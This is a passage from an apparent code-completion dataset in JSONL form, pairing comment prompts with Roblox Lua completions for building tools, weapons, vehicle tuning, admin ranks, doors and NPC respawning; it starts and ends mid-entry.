Center mode\n\tif RotateTool.Pivot == 'Center' then\n\t\tlocal BoundingBoxSize, BoundingBoxCFrame = BoundingBox.CalculateExtents(Selection.Parts);\n\t\tPivotPoint = BoundingBoxCFrame;\n\n\t-- Set the pivot point to the center of the focused part if in Last mode\n\telseif RotateTool.Pivot == 'Last' and not CustomPivotPoint then\n\t\tif Selection.Focus:IsA 'BasePart' then\n\t\t\tPivotPoint = Selection.Focus.CFrame\n\t\telseif Selection.Focus:IsA 'Model' then\n\t\t\tPivotPoint = Selection.Focus:GetModelCFrame()\n\t\tend\n\tend;\n\n\t-- Perform the rotation\n\tRotatePartsAroundPivot(RotateTool.Pivot, PivotPoint, Axis, NudgeAmount * (Direction or 1), InitialState);\n\n\t-- Update the \"degrees rotated\" indicator\n\tif RotateTool.UI then\n\t\tRotateTool.UI.Changes.Text.Text = 'rotated ' .. (NudgeAmount * (Direction or 1)) .. ' degrees';\n\tend;\n\n\t-- Cache area permissions information\n\tlocal AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);\n\n\t-- Make sure we're not entering any unauthorized private areas\n\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\tfor Part, State in pairs(InitialState) do\n\t\t\tPart.CFrame = State.CFrame;\n\t\tend;\n\tend;\n\n\t-- Make joints, restore original anchor and collision states\n\tfor Part, State in pairs(InitialState) do\n\t\tPart:MakeJoints();\n\t\tCore.RestoreJoints(State.Joints);\n\t\tPart.CanCollide = State.CanCollide;\n\t\tPart.Anchored = State.Anchored;\n\tend;\n\n\t-- Register the change\n\tRegisterChange();\n\nend;\n\nfunction TrackChange()\n\n\t-- Start the record\n\tHistoryRecord = {\n\t\tParts = Support.CloneTable(Selection.Parts);\n\t\tBeforeCFrame = {};\n\t\tAfterCFrame = {};\n\t\tSelection = Selection.Items;\n\n\t\tUnapply = function (Record)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Put together the change request\n\t\t\tlocal Changes = {};\n\t\t\tfor _, Part in pairs(Record.Parts) do\n\t\t\t\ttable.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] });\n\t\t\tend;\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncRotate', Changes);\n\n\t\tend;\n\n\t\tApply = function (Record)\n\t\t\t-- Applies this change\n\n\t\t\t-- Select the changed parts\n\t\t\tSelection.Replace(Record.Selection)\n\n\t\t\t-- Put together the change request\n\t\t\tlocal Changes = {};\n\t\t\tfor _, Part in pairs(Record.Parts) do\n\t\t\t\ttable.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] });\n\t\t\tend;\n\n\t\t\t-- Send the change request\n\t\t\tCore.SyncAPI:Invoke('SyncRotate', Changes);\n\n\t\tend;\n\n\t};\n\n\t-- Collect the selection's initial state\n\tfor _, Part in pairs(HistoryRecord.Parts) do\n\t\tHistoryRecord.BeforeCFrame[Part] = Part.CFrame;\n\tend;\n\nend;\n\nfunction RegisterChange()\n\t-- Finishes creating the history record and registers it\n\n\t-- Make sure there's an in-progress history record\n\tif not HistoryRecord then\n\t\treturn;\n\tend;\n\n\t-- Collect the selection's final state\n\tlocal Changes = {};\n\tfor _, Part in pairs(HistoryRecord.Parts) do\n\t\tHistoryRecord.AfterCFrame[Part] = Part.CFrame;\n\t\ttable.insert(Changes, { Part = Part, CFrame = Part.CFrame });\n\tend;\n\n\t-- Send the change to the server\n\tCore.SyncAPI:Invoke('SyncRotate', Changes);\n\n\t-- Register the record and clear the staging\n\tCore.History.Add(HistoryRecord);\n\tHistoryRecord = nil;\n\nend;\n\nfunction PreparePartsForRotating()\n\t-- Prepares parts for rotating and returns the initial state of the parts\n\n\tlocal InitialState = {};\n\n\t-- Get index of parts\n\tlocal PartIndex = Support.FlipTable(Selection.Parts);\n\n\t-- Stop parts from moving, and capture the initial state of the parts\n\tfor _, Part in pairs(Selection.Parts) do\n\t\tInitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame };\n\t\tPart.Anchored = true;\n\t\tPart.CanCollide = false;\n\t\tInitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex);\n\t\tPart:BreakJoints();\n\t\tPart.Velocity = Vector3.new();\n\t\tPart.RotVelocity = Vector3.new();\n\tend;\n\n\treturn InitialState;\nend;\n\nfunction GetIncrementMultiple(Number, Increment)\n\n\t-- Get how far the actual distance is from a multiple of our increment\n\tlocal MultipleDifference = Number % Increment;\n\n\t-- Identify the closest lower and upper multiples of the increment\n\tlocal LowerMultiple = Number - MultipleDifference;\n\tlocal UpperMultiple = Number - MultipleDifference + Increment;\n\n\t-- Calculate to which of the two multiples we're closer\n\tlocal LowerMultipleProximity = math.abs(Number - LowerMultiple);\n\tlocal UpperMultipleProximity = math.abs(Number - UpperMultiple);\n\n\t-- Use the closest multiple of our increment as the distance moved\n\tif LowerMultipleProximity <= UpperMultipleProximity then\n\t\tNumber = LowerMultiple;\n\telse\n\t\tNumber = UpperMultiple;\n\tend;\n\n\treturn Number;\nend;\n"} +{"prompt": "--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------\n--------------------------------------------------------------------------------", "completion": "\nif guntype == 1 then\nlocal torso = model.Parent:FindFirstChild(\"Torso\")\nif torso ~= nil then\nif weldmode == 1 then--barrel pointing upper-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0)\nelseif weldmode == 2 then--barrel pointing upper-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0)\nelseif weldmode == 3 then--barrel pointing upside-right\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance *-1, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), 0)\nelseif weldmode == 4 then--barrel pointing upside-left\nlocal w = Instance.new(\"Weld\")\nw.Part0 = torso\nw.Parent = w.Part0\nw.Part1 = handle\nw.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1, 0)\nend\nend"} +{"prompt": "--[[\n\tRetries a Promise-returning callback N times until it succeeds.\n]]", "completion": "\nfunction Promise.retry(callback, times, ...)\n\tassert(type(callback) == \"function\", \"Parameter #1 to Promise.retry must be a function\")\n\tassert(type(times) == \"number\", \"Parameter #2 to Promise.retry must be a number\")\n\n\tlocal args, length = {...}, select(\"#\", ...)\n\n\treturn Promise.resolve(callback(...)):catch(function(...)\n\t\tif times > 0 then\n\t\t\treturn Promise.retry(callback, times - 1, unpack(args, 1, length))\n\t\telse\n\t\t\treturn Promise.reject(...)\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- RANK, RANK NAMES & SPECIFIC USERS", "completion": "\nRanks = {\n\t{5,\t\"Game Creator\",\t\t};\n\t{4,\t\"Tester\",\t{\"\",0},\t};\n\t{3,\t\"Best Friends\",\t\t{\"\",0},\t};\n\t{2,\t\"Friends\",\t\t\t{\"\",0},\t};\n\t{1,\t\"VIP\",\t\t\t{\"\",0},\t};\n\t{0,\t\"NonAdmin\",\t\t};\n};\n\n\n"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\n\nPart = script.Parent\n\nDebris = game:GetService(\"Debris\")\n\nSounds = {\n\tGlassBreak = Part:WaitForChild(\"GlassBreak\")\n}\n\nfunction Touched(Part)\n\tlocal PartTouched\n\tPartTouched = Part.Touched:connect(function(Hit)\n\t\tif not Hit or not Hit.Parent then\n\t\t\treturn\n\t\tend\n\t\tSounds.GlassBreak:Play()\n\t\tif PartTouched then\n\t\t\tPartTouched:disconnect()\n\t\tend\n\tend)\nend\n\nTouched(Part)\n\nDebris:AddItem(Part, 30)\n"} +{"prompt": "--Compares two tables, and produces a new table containing the differences", "completion": "\nfunction module:MakeDeltaTable(oldTable, newTable)\n \n if (oldTable == nil) then\n return self:DeepCopy(newTable)\n end\n \n local deltaTable = {}\n local changes = 0\n for var, data in pairs(newTable) do\n if oldTable[var] == nil then\n deltaTable[var] = data\n else\n if type(newTable[var]) == \"table\" then\n --its a table, recurse\n local newtable, num = module:MakeDeltaTable(oldTable[var], newTable[var])\n if num > 0 then\n changes = changes + 1\n deltaTable[var] = newtable\n end\n else\n local a = newTable[var]\n local b = oldTable[var]\n if a ~= b then\n changes = changes + 1\n deltaTable[var] = a\n end\n end\n end\n end\n --Check for deletions\n for var, _ in pairs(oldTable) do\n if newTable[var] == nil then\n if deltaTable.__deletions == nil then\n deltaTable.__deletions = {}\n end\n table.insert(deltaTable.__deletions, var)\n end\n end\n\n return deltaTable, changes\nend\n"} +{"prompt": "--[[local function getModelMass(P)\n\tfor _, v in pairs(P:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tplayerMass = playerMass + v:GetMass()\n\t\tend\n\t\tgetModelMass(v)\n\tend\nend\ngetModelMass(Char)\n\nChar.DescendantAdded:connect(function(Descendant)\n\tif Descendant:IsA(\"BasePart\") then\n\t\tplayerMass = playerMass + Descendant:GetMass()\n\tend\nend)\nChar.DescendantRemoving:connect(function(Descendant)\n\tif Descendant:IsA(\"BasePart\") then\n\t\tplayerMass = playerMass - Descendant:GetMass()\n\tend\nend)]]", "completion": "\n"} +{"prompt": "--// Events", "completion": "\nlocal L_108_ = L_20_:WaitForChild('Equipped')\nlocal L_109_ = L_20_:WaitForChild('ShootEvent')\nlocal L_110_ = L_20_:WaitForChild('DamageEvent')\nlocal L_111_ = L_20_:WaitForChild('CreateOwner')\nlocal L_112_ = L_20_:WaitForChild('Stance')\nlocal L_113_ = L_20_:WaitForChild('HitEvent')\nlocal L_114_ = L_20_:WaitForChild('KillEvent')\nlocal L_115_ = L_20_:WaitForChild('AimEvent')\nlocal L_116_ = L_20_:WaitForChild('ExploEvent')\nlocal L_117_ = L_20_:WaitForChild('AttachEvent')\nlocal L_118_ = L_20_:WaitForChild('ServerFXEvent')\nlocal L_119_ = L_20_:WaitForChild('ChangeIDEvent')\n"} +{"prompt": "--", "completion": "\nif(vParts.Values.On.Value== false) then \nPS.EngineOff:TweenPosition(UDim2.new(1.70000005, 100, -1, 0),\"Out\",\"Quad\",1,true)\nelseif(vParts.Values.On.Value == true) then\nPS.EngineOff:TweenPosition(UDim2.new(1.70000005, 100, -2, 0),\"Out\",\"Quad\",1,true)\nend "} +{"prompt": "----- Initialize -----", "completion": "\n\nif IsStudio == true then\n\tIsLiveCheckActive = true\n\tcoroutine.wrap(function()\n\t\tlocal status, message = pcall(function()\n\t\t\t-- This will error if current instance has no Studio API access:\n\t\t\tDataStoreService:GetDataStore(\"____PS\"):SetAsync(\"____PS\", os.time())\n\t\tend)\n\t\tlocal no_internet_access = status == false and string.find(message, \"ConnectFail\", 1, true) ~= nil\n\t\tif no_internet_access == true then\n\t\t\twarn(\"[ProfileService]: No internet access - check your network connection\")\n\t\tend\n\t\tif status == false and\n\t\t\t(string.find(message, \"403\", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled\n\t\t\t\tstring.find(message, \"must publish\", 1, true) ~= nil or -- Game must be published to access live keys\n\t\t\t\tno_internet_access == true) then -- No internet access\n\n\t\t\tUseMockDataStore = true\n\t\t\tProfileService._use_mock_data_store = true\n\t\telse\n\t\tend\n\t\tIsLiveCheckActive = false\n\tend)()\nend\n"} +{"prompt": "--Sphere to box collision", "completion": "\nfunction collision_module.SqDistPointAABB(point, box)\n\tlocal sq_dist = 0\n\n\t--X axis check\n\tlocal v = point.X\n\tif v < box.min.X then\n\t\tsq_dist += (box.min.X - v) * (box.min.X - v)\n\tend\n\tif v > box.max.X then\n\t\tsq_dist += (v - box.max.X) * (v - box.max.X)\n\tend\n\n\t--Y axis check\n\tlocal v = point.Y\n\tif v < box.min.Y then\n\t\tsq_dist += (box.min.Y - v) * (box.min.Y - v)\n\tend\n\tif v > box.max.Y then\n\t\tsq_dist += (v - box.max.Y) * (v - box.max.Y)\n\tend\n\n\t--Z axis check\n\tlocal v = point.Z\n\tif v < box.min.Z then\n\t\tsq_dist += (box.min.Z - v) * (box.min.Z - v)\n\tend\n\tif v > box.max.Z then\n\t\tsq_dist += (v - box.max.Z) * (v - box.max.Z)\n\tend\n\n\treturn sq_dist\nend\n\nfunction collision_module.TestSphereAABB(sphere, box)\n\tlocal sq_dist = collision_module.SqDistPointAABB(sphere.center, box)\n\treturn sq_dist <= (sphere.radius ^ 2)\nend\n\nfunction collision_module.TestSphereRotatedBox(sphere, rotated_box)\n\tlocal sq_dist = collision_module.SqDistPointAABB(rotated_box.cframe:inverse() * sphere.center, {min = rotated_box.size / -2, max = rotated_box.size / 2})\n\treturn sq_dist <= (sphere.radius ^ 2)\nend\n\nreturn collision_module\n"} +{"prompt": "-- Create smoke for specified part (being destroyed)\t", "completion": "\nlocal function createSmoke(targetPart)\n\tlocal pos = Vector3.new(0, 0, 0)\n\tlocal size = 3\n\tif targetPart:IsA(\"Model\") and targetPart.PrimaryPart then\n\t\t--local plate = targetPart:FindFirstChild(\"Plate\", true)\n\t\tlocal plate = targetPart.PrimaryPart\n\t\tpos = plate.Position\n\t\tsize = 1*plate.Size.X\n\telse\n\t\tpos = targetPart.Position\n\t\tsize = 1*targetPart.Size.X\n\tend\t\n\t\n\tlocal smokePart = Instance.new(\"Part\")\n\tsmokePart.Name = \"SmokePart\"\n\tsmokePart.Transparency = 1\n\tsmokePart.CanCollide = false\n\tsmokePart.Anchored = true\n\t--smokePart.Position = getPositionRelativetoBase(smokePart, pos) + Vector3.new(0, 1, 0)\n\tsmokePart.Position = pos + Vector3.new(0, 1, 0)\n\tsmokePart.Size = Vector3.new(1, 1, 1)\n\tsmokePart.Parent = mapManager.getMap()\n\t\n\tlocal smoke = Instance.new(\"Smoke\")\n\tsmoke.Parent = smokePart\n\tsmoke.RiseVelocity = 0\n\tsmoke.Size = size\n\t\n\tDebrisService:AddItem(smokePart, 0.75)\nend\n"} +{"prompt": "--- Window handles the command bar GUI", "completion": "\nlocal Window = {\n\tValid = true,\n\tAutoComplete = nil,\n\tProcessEntry = nil,\n\tOnTextChanged = nil,\n\tCmdr = nil,\n\tHistoryState = nil,\n}\n\nlocal Gui = Player:WaitForChild(\"PlayerGui\"):WaitForChild(\"Cmdr\"):WaitForChild(\"Frame\")\nlocal Line = Gui:WaitForChild(\"Line\")\nlocal Entry = Gui:WaitForChild(\"Entry\")\n\nLine.Parent = nil\n"} +{"prompt": "--[[\n-- << MODIFY DATA IN GAME >>\n\nlocal player = game.Players.ForeverHD\nlocal main = _G.HDAdminMain\nmain:GetModule(\"DataStore\"):ChangeStat(player, \"Donor\", true)\n\t\n--]]", "completion": "\n\n\n\nreturn module\n"} +{"prompt": "----- door -----", "completion": "\n\ninteractive.ClickDetector.MouseClick:Connect(function()\n\tif doorOpen and not changingState and not doorLocked then\n\t\tchangingState = true\n\t\tfor i = 1, 12 do\n\t\t\tscript.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(7), 0))\n\t\t\twait()\n\t\tend\n\t\tchangingState = false\n\t\tdoorOpen = false\n\t\tlockInteractive.ClickDetector.MaxActivationDistance = 12\n\telseif not changingState and not doorLocked then\n\t\tdoorOpen = true\n\t\tchangingState = true\n\t\tlockInteractive.ClickDetector.MaxActivationDistance = 0\n\t\tfor i = 1, 12 do\n\t\t\tscript.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-7), 0))\n\t\t\twait()\n\t\tend\n\t\tchangingState = false\n\tend\nend)\n"} +{"prompt": "--[[Dependencies]]", "completion": "\n\n\tlocal player = game.Players.LocalPlayer\n\tlocal mouse = player:GetMouse()\n\tlocal UserInputService = game:GetService(\"UserInputService\")\n\tlocal car = script.Parent.Car.Value\n\tlocal _Tune = require(car[\"A-Chassis Tune\"])\n\t"} +{"prompt": "-- << LOCAL FUNCTIONS >>", "completion": "\nlocal function updateUIs()\n\tlocal frameSize = deviceFrameSizes[\"Computer\"]\n\tif main.device == \"Mobile\" then\n\t\tif main.tablet then\n\t\t\tframeSize = deviceFrameSizes[\"Tablet\"]\n\t\telse\n\t\t\tframeSize = deviceFrameSizes[\"Phone\"]\n\t\tend\n\tend\n\tfor frame, aspectRatio in pairs(framesToAdapt) do\n\t\tlocal currentFrameSize = frameSize\n\t\tif aspectRatio > 1 then\n\t\t\tcurrentFrameSize = frameSize/1.5\n\t\tend\n\t\tframe.Position = UDim2.new(0,0,(1-currentFrameSize)/2,0)\n\t\tframe.Size = UDim2.new(0,0,currentFrameSize,0)\n\t\tlocal absoluteX = frame.AbsoluteSize.Y * aspectRatio\n\t\tframe.Position = UDim2.new(0.5, -absoluteX/2, frame.Position.Y.Scale, frame.Position.Y.Offset)\n\t\tframe.Size = UDim2.new(0, absoluteX, frame.Size.Y.Scale, frame.Size.Y.Offset)\n\tend\nend\n\nlocal function screenChanged()\n\tscreen_changing = screen_changing + 1\n\twait(0.5)\n\tscreen_changing = screen_changing - 1\n\tif screen_changing == 0 then\n\t\t-----------\n\t\tupdateUIs()\n\t\t-----------\n\t\tmain:GetModule(\"PageAbout\"):CreateCredits()\n\tend\nend\n\n\n"} +{"prompt": "-- [[ Flags ]]", "completion": "\nlocal FFlagUserCameraGamepadZoomFix\ndo\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserCameraGamepadZoomFix\")\n\tend)\n\tFFlagUserCameraGamepadZoomFix = success and result\nend\n"} +{"prompt": "-- Allows SCP 049 to talk", "completion": "\nlocal voicelines = {script.Parent.Hello, script.Parent.ICanSeeYouAreNotWell, script.Parent.ImNotTryingToHarmYou, script.Parent.OhMy, script.Parent.OhMy2, script.Parent.Song}\nwhile wait(15) do\nfor i, voiceline in pairs(voicelines) do\n\twait(15) \n\t\tvoiceline:Play()\n\tend\nend\n"} +{"prompt": "-- places a brick at pos and returns the position of the brick's opposite corner", "completion": "\nfunction placeBrick(cf, pos, color)\n\tlocal brick = Instance.new(\"Part\")\n\tbrick.BrickColor = color\n\tbrick.CFrame = cf * CFrame.new(pos + brick.Size / 2)\n\tscript.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick\n\tbrick.BrickCleanup.Disabled = false\n\tbrick.Parent = game.Workspace\n\treturn brick, pos + brick.Size\nend\n\nfunction buildWall(cf)\n\tlocal color = BrickColor.random()\n\tlocal bricks = {}\n\n\tassert(wallWidth>0)\n\tlocal y = 0\n\twhile y < wallHeight do\n\t\tlocal p\n\t\tlocal x = -wallWidth/2\n\t\twhile x < wallWidth/2 do\n\t\t\tlocal brick\n\t\t\tbrick, p = placeBrick(cf, Vector3.new(x, y, 0), color)\n\t\t\tx = p.x\n\t\t\ttable.insert(bricks, brick)\n\t\t\tbrick:MakeJoints()\n\t\t\twait(brickSpeed)\n\t\tend\n\t\ty = p.y\n\tend\n\n\treturn bricks\nend\n\n\nfunction snap(v)\n\tif math.abs(v.x)>math.abs(v.z) then\n\t\tif v.x>0 then\n\t\t\treturn Vector3.new(1,0,0)\n\t\telse\n\t\t\treturn Vector3.new(-1,0,0)\n\t\tend\n\telse\n\t\tif v.z>0 then\n\t\t\treturn Vector3.new(0,0,1)\n\t\telse\n\t\t\treturn Vector3.new(0,0,-1)\n\t\tend\n\tend\nend\n\n\nTool.Enabled = true\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal targetPos = humanoid.TargetPoint\n\tlocal lookAt = snap( (targetPos - character.Head.Position).unit )\n\tlocal cf = CFrame.new(targetPos, targetPos + lookAt)\n\n\tTool.Handle.BuildSound:play()\n\n\tbuildWall(cf)\n\n\twait(5)\n\n\tTool.Enabled = true\nend\n\nscript.Parent.Activated:connect(onActivated)\n\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_311_arg1)\n\tlocal L_312_, L_313_ = SearchResupply(L_311_arg1)\n\tif L_312_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_103_ = L_24_.Ammo\n\t\tL_104_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_105_ = L_24_.ExplosiveAmmo\n\t\tUpdateAmmo()\n\t\tif L_58_:FindFirstChild('Resupply') then\n\t\t\tL_58_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]", "completion": "--\nlocal PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--\nlocal AdvancedRespawnScript=script;\nrepeat Wait(0)until script and script.Parent and script.Parent.ClassName==\"Model\";\nlocal Killer=AdvancedRespawnScript.Parent;\nif AdvancedRespawnScript and Killer and Killer:FindFirstChild(\"Thumbnail\")then\nKiller:FindFirstChild(\"Thumbnail\"):Destroy();\nend;\nlocal GameDerbis=Game:GetService(\"Debris\");\nlocal KillerHumanoid;\nfor _,Child in pairs(Killer:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nKillerHumanoid=Child;\nend;\nend;\nlocal Respawndant=Killer:Clone();\nif PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--\ncoroutine.resume(coroutine.create(function()\nif Killer and KillerHumanoid and KillerHumanoid:FindFirstChild(\"Status\")and not KillerHumanoid:FindFirstChild(\"Status\"):FindFirstChild(\"AvalibleSpawns\")then\nSpawnModel=Instance.new(\"Model\");\nSpawnModel.Parent=KillerHumanoid.Status;\nSpawnModel.Name=\"AvalibleSpawns\";\nelse\nSpawnModel=KillerHumanoid:FindFirstChild(\"Status\"):FindFirstChild(\"AvalibleSpawns\");\nend;\nfunction FindSpawn(SearchValue)\nlocal PartsArchivable=SearchValue:GetChildren();\nfor AreaSearch=1,#PartsArchivable do\nif PartsArchivable[AreaSearch].className==\"SpawnLocation\"then\nlocal PositionValue=Instance.new(\"Vector3Value\",SpawnModel);\nPositionValue.Value=PartsArchivable[AreaSearch].Position;\nPositionValue.Name=PartsArchivable[AreaSearch].Duration;\nend;\nFindSpawn(PartsArchivable[AreaSearch]);\nend;\nend;\nFindSpawn(Game:GetService(\"Workspace\"));\nlocal SpawnChilden=SpawnModel:GetChildren();\nif#SpawnChilden>0 then\nlocal SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)];\nlocal RespawningForceField=Instance.new(\"ForceField\");\nRespawningForceField.Parent=Killer;\nRespawningForceField.Name=\"SpawnForceField\";\nGameDerbis:AddItem(RespawningForceField,SpawnItself.Name);\nKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0));\nelse\nif Killer:FindFirstChild(\"SpawnForceField\")then\nKiller:FindFirstChild(\"SpawnForceField\"):Destroy();\nend;\nKiller:MoveTo(Vector3.new(0,115,0));\nend;\nend));\nend;\nfunction Respawn()\nWait(5);\nRespawndant.Parent=Killer.Parent;\nRespawndant:makeJoints();\nRespawndant:FindFirstChild(\"Head\"):MakeJoints();\nRespawndant:FindFirstChild(\"LowerTorso\"):MakeJoints();\nKiller:remove();\nend;\nif AdvancedRespawnScript and Killer and KillerHumanoid then\nKillerHumanoid.Died:connect(Respawn);\nend;"} +{"prompt": "--!no-shared\n--!no-service", "completion": "\n\nlocal ReplicatedStorage = game:GetService('ReplicatedStorage')\nlocal RunService = game:GetService('RunService')\n\nlocal IsStudio = RunService:IsStudio()\n\nlocal Modules = ReplicatedStorage\n\t:WaitForChild('Modules', 30)\n\t:WaitForChild('Global', 30);\nlocal ModuleWaitTime = IsStudio and 3 or 60\n\nlocal meta = {}\n\nfunction meta.__index(self, key)\n\treturn function ()\n\t\tlocal Module = Modules:WaitForChild(key, ModuleWaitTime)\n\n\t\tif Module then\n\t\t\tlocal Source = require(Module)\n\n\t\t\tself[key] = function ()\n\t\t\t\treturn Source\n\t\t\tend\n\n\t\t\treturn Source\n\t\tend\n\tend\nend\n\nshared._Cache = {};\nsetmetatable(shared, meta);\n\nreturn nil\n"} +{"prompt": "--// Probabilities", "completion": "\n\tJamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween\n\tTracerChance = 60; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween\n\t"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop Frequency number\n\tFrequency of the overall shake. This changes how slow or fast the\n\tshake occurs.\n\n\tDefaults to `1`.\n]=]", "completion": "\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}\n\nmath.randomseed(tick())\n"} +{"prompt": "-- public api", "completion": "\nlocal GAReporter = {}\nGAReporter.__index = GAReporter\n"} +{"prompt": "--\tlocal hit, position = workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)", "completion": "\n\tlocal hit, position = workspace:FindPartOnRay(ray, parts.Parent);\n\t\n\tif hit then -- Leaderboard Supported\n\t\tif hit.Parent:IsA(\"Model\") then\n\t\t\tlocal player = game.Players:GetPlayerFromCharacter(hit.Parent);\n\t\t\tlocal DriverKOs = script.Parent.Parent.Parent.leaderstats:findFirstChild(\"KOs\")\n\t\t\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\");\n\t\t\tprint(\"XD\")\n\t\t\tif player and humanoid then\n\t\t\t\tif player.TeamColor ~= parts.Parent.Tank.Value then --Not a teammate\n\t\t\t\t\tif humanoid.Health >0 then\n\t\t\t\t\t\thumanoid:takeDamage(MGDamage);\n\t\t\t\t\t\tif humanoid.Health <=0 then\n\t\t\t\t\t\t\tDriverKOs.Value = DriverKOs.Value + 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\n\n\t\t\t\t\n\t\tend\n\tend\n\t\n\tlocal distance = (position - machineGun.Position).magnitude;\n\t\n\tlocal rayPart\t= rayPart:clone();\n\trayPart.Size\t= Vector3.new(.2, distance, .2);\n\trayPart.CFrame\t= CFrame.new(position, machineGun.Position)\n\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2)\n\t\t\t\t\t\t* CFrame.Angles(math.rad(90),0,0);\n\trayPart.Parent\t= workspace;\n\tgame.Debris:AddItem(rayPart, .03)\n\tgame.Debris:AddItem(PL, .03)\n\t\n\tlocal MGFlash =\tparts.Parent.Gun.Coax.GUI:clone()\n\tMGFlash.Flash.Rotation = math.random(0,360)\n\tMGFlash.Parent = parts.Parent.Gun.Coax\n \tMGFlash.Enabled = true\n\tgame.Debris:AddItem(MGFlash,.01)\n\t\n\twait();\n\n\twait();\n\t\n\treturn true;\nend\n"} +{"prompt": "-- play the animation", "completion": "\ncurrentAnimTrack:Play(transitionTime)\ncurrentAnim = animName\ncurrentAnimInstance = anim"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\",\"Semi\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -1200\t\t-- Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t-- Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\tTune.ShiftTime = .05\t\t\t\t-- The time delay in which you initiate a shift and the car changes gear\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.1\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t4.29\t\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t4.71\t\t\t,\n\t\t--[[ 2 ]]\t\t3.14\t\t,\n\t\t--[[ 3 ]]\t\t2.10\t\t,\n\t\t--[[ 4 ]]\t\t1.67\t\t,\n\t\t--[[ 5 ]]\t\t1.29\t\t,\n\t\t--[[ 6 ]]\t\t1.00\t\t\t,\n\t\t--[[ 7 ]]\t\t0.84\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.00\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is 